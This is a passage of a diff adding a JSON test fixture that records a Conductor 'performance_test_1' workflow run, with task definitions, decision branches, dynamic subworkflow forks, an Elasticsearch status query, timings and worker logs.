1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 565, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:49:50:489 : Starting to execute perf_task_10, id=14988072-378d-4b6c-a596-09db9c88c5d1", + "01/14/19, 01:49:50:489 : failure probability is 0.040783882 against 0.0", + "01/14/19, 01:49:50:489 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_2,1", + "01/14/19, 01:49:50:490 : Marking task completed" + ] + }, + { + "taskType": "perf_task_3", + "status": "COMPLETED", + "inputData": { + "mod": "0", + "oddEven": "0" + }, + "referenceTaskName": "perf_task_3", + "retryCount": 0, + "seq": 3, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_3", + "scheduledTime": 1547430590531, + "startTime": 1547430591460, + "endTime": 1547430591488, + "updateTime": 1547430613582, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "91b6ba4c-c414-4cb1-a2e7-18edd7aa22fd", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-0618a1a5e9526c9a1", + "outputData": { + "mod": "9", + "oddEven": "1", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_3", + "taskReferenceName": "perf_task_3", + "inputParameters": { + "mod": "perf_task_2.output.mod", + "oddEven": "perf_task_2.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389814, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_3", + "description": "perf_task_3", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 929, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:49:51:477 : Starting to execute perf_task_3, id=91b6ba4c-c414-4cb1-a2e7-18edd7aa22fd", + "01/14/19, 01:49:51:477 : failure probability is 0.9401053 against 0.0", + "01/14/19, 01:49:51:477 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_3,1", + "01/14/19, 01:49:51:479 : Marking task completed" + ] + }, + { + "taskType": "HTTP", + "status": "COMPLETED", + "inputData": { + "http_request": { + "uri": "/wfe_perf/workflow/_search?q=status:RUNNING&size=0&devint", + "method": "GET", + "vipAddress": "es_conductor.netflix.com" + } + }, + "referenceTaskName": "get_es_1", + "retryCount": 0, + "seq": 4, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "get_from_es", + "scheduledTime": 1547430591524, + "startTime": 1547430591961, + "endTime": 1547430592238, + "updateTime": 1547430613601, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "b8095fef-0028-4fa3-a2a2-6e59c224bb7d", + "callbackAfterSeconds": 0, + "workerId": "i-01815a305a47fb626", + "outputData": { + "response": { + "headers": { + "Content-Length": [ + "121" + ], + "Content-Type": [ + "application/json; charset=UTF-8" + ] + }, + "reasonPhrase": "OK", + "body": { + "took": 2, + "timed_out": false, + "_shards": { + "total": 6, + "successful": 6, + "failed": 0 + }, + "hits": { + "total": 0, + "max_score": 0, + "hits": [] + } + }, + "statusCode": 200 + } + }, + "workflowTask": { + "name": "get_from_es", + "taskReferenceName": "get_es_1", + "type": "HTTP", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "workflowPriority": 0, + "queueWaitTime": 437, + "taskDefinition": { + "present": false + }, + "taskStatus": "COMPLETED", + "logs": [] + }, + { + "taskType": "DECISION", + "status": "COMPLETED", + "inputData": { + "hasChildren": "true", + "case": "1" + }, + "referenceTaskName": "oddEvenDecision", + "retryCount": 0, + "seq": 5, + "correlationId": "1547430586940", + "pollCount": 0, + "taskDefName": "DECISION", + "scheduledTime": 1547430592280, + "startTime": 1547430592292, + "endTime": 1547430592284, + "updateTime": 1547430613614, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "5c2d843a-8320-4b6c-9765-e91bff433dba", + "callbackAfterSeconds": 0, + "outputData": { + "caseOutput": [ + "1" + ] + }, + "workflowTask": { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "perf_task_4", + "taskReferenceName": "perf_task_4", + "inputParameters": { + "mod": "perf_task_3.output.mod", + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390494, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_4", + "description": "perf_task_4", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "perf_task_4.output.dynamicTasks", + "input": "perf_task_4.output.inputs" + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_5", + "taskReferenceName": "perf_task_5", + "inputParameters": { + "mod": "perf_task_4.output.mod", + "oddEven": "perf_task_4.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390611, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_5", + "description": "perf_task_5", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_6", + "taskReferenceName": "perf_task_6", + "inputParameters": { + "mod": "perf_task_5.output.mod", + "oddEven": "perf_task_5.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390789, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_6", + "description": "perf_task_6", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "1": [ + { + "name": "perf_task_7", + "taskReferenceName": "perf_task_7", + "inputParameters": { + "mod": "perf_task_3.output.mod", + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390955, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_7", + "description": "perf_task_7", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_8", + "taskReferenceName": "perf_task_8", + "inputParameters": { + "mod": "perf_task_7.output.mod", + "oddEven": "perf_task_7.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391122, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_8", + "description": "perf_task_8", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_9", + "taskReferenceName": "perf_task_9", + "inputParameters": { + "mod": "perf_task_8.output.mod", + "oddEven": "perf_task_8.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391291, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_9", + "description": "perf_task_9", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "modDecision", + "taskReferenceName": "modDecision", + "inputParameters": { + "mod": "perf_task_8.output.mod" + }, + "type": "DECISION", + "caseValueParam": "mod", + "decisionCases": { + "0": [ + { + "name": "perf_task_12", + "taskReferenceName": "perf_task_12", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389427, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_12", + "description": "perf_task_12", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_13", + "taskReferenceName": "perf_task_13", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389276, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_13", + "description": "perf_task_13", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf1", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + } + ], + "1": [ + { + "name": "perf_task_15", + "taskReferenceName": "perf_task_15", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069388963, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_15", + "description": "perf_task_15", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_16", + "taskReferenceName": "perf_task_16", + "inputParameters": { + "mod": "perf_task_15.output.mod", + "oddEven": "perf_task_15.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389067, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_16", + "description": "perf_task_16", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf2", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + } + ], + "4": [ + { + "name": "perf_task_18", + "taskReferenceName": "perf_task_18", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069388904, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_18", + "description": "perf_task_18", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_19", + "taskReferenceName": "perf_task_19", + "inputParameters": { + "mod": "perf_task_18.output.mod", + "oddEven": "perf_task_18.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389173, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_19", + "description": "perf_task_19", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "5": [ + { + "name": "perf_task_21", + "taskReferenceName": "perf_task_21", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390669, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_21", + "description": "perf_task_21", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_22", + "taskReferenceName": "perf_task_22", + "inputParameters": { + "mod": "perf_task_21.output.mod", + "oddEven": "perf_task_21.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391345, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_22", + "description": "perf_task_22", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ] + }, + "defaultCase": [ + { + "name": "perf_task_24", + "taskReferenceName": "perf_task_24", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391074, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_24", + "description": "perf_task_24", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_25", + "taskReferenceName": "perf_task_25", + "inputParameters": { + "mod": "perf_task_24.output.mod", + "oddEven": "perf_task_24.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391177, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_25", + "description": "perf_task_25", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ] + }, + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 12, + "taskDefinition": { + "present": false + }, + "taskStatus": "COMPLETED", + "logs": [] + }, + { + "taskType": "perf_task_7", + "status": "COMPLETED", + "inputData": { + "mod": "9", + "oddEven": "1" + }, + "referenceTaskName": "perf_task_7", + "retryCount": 0, + "seq": 6, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_7", + "scheduledTime": 1547430592287, + "startTime": 1547430593603, + "endTime": 1547430593641, + "updateTime": 1547430613624, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "10efe69b-691f-49c6-9bce-42ba08ff4d2e", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-075e5e67066be5d52", + "outputData": { + "mod": "5", + "oddEven": "1", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_7", + "taskReferenceName": "perf_task_7", + "inputParameters": { + "mod": "perf_task_3.output.mod", + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390955, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_7", + "description": "perf_task_7", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 1316, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:49:53:622 : Starting to execute perf_task_7, id=10efe69b-691f-49c6-9bce-42ba08ff4d2e", + "01/14/19, 01:49:53:622 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_7,1", + "01/14/19, 01:49:53:622 : failure probability is 0.62726057 against 0.0", + "01/14/19, 01:49:53:625 : Marking task completed" + ] + }, + { + "taskType": "perf_task_8", + "status": "COMPLETED", + "inputData": { + "mod": "5", + "oddEven": "1" + }, + "referenceTaskName": "perf_task_8", + "retryCount": 0, + "seq": 7, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_8", + "scheduledTime": 1547430593685, + "startTime": 1547430594976, + "endTime": 1547430595009, + "updateTime": 1547430613634, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "51020906-8fe0-4993-9020-66a081847bf3", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-075e5e67066be5d52", + "outputData": { + "mod": "5", + "oddEven": "1", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_8", + "taskReferenceName": "perf_task_8", + "inputParameters": { + "mod": "perf_task_7.output.mod", + "oddEven": "perf_task_7.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391122, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_8", + "description": "perf_task_8", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 1291, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:49:54:994 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_8,1", + "01/14/19, 01:49:54:994 : failure probability is 0.017497659 against 0.0", + "01/14/19, 01:49:54:994 : Starting to execute perf_task_8, id=51020906-8fe0-4993-9020-66a081847bf3", + "01/14/19, 01:49:54:995 : Marking task completed" + ] + }, + { + "taskType": "perf_task_9", + "status": "COMPLETED", + "inputData": { + "mod": "5", + "oddEven": "1" + }, + "referenceTaskName": "perf_task_9", + "retryCount": 0, + "seq": 8, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_9", + "scheduledTime": 1547430595069, + "startTime": 1547430596047, + "endTime": 1547430596081, + "updateTime": 1547430613642, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "c82cf62f-9f48-46c0-ae32-9bbfad57e71f", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-075e5e67066be5d52", + "outputData": { + "mod": "5", + "oddEven": "1", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + 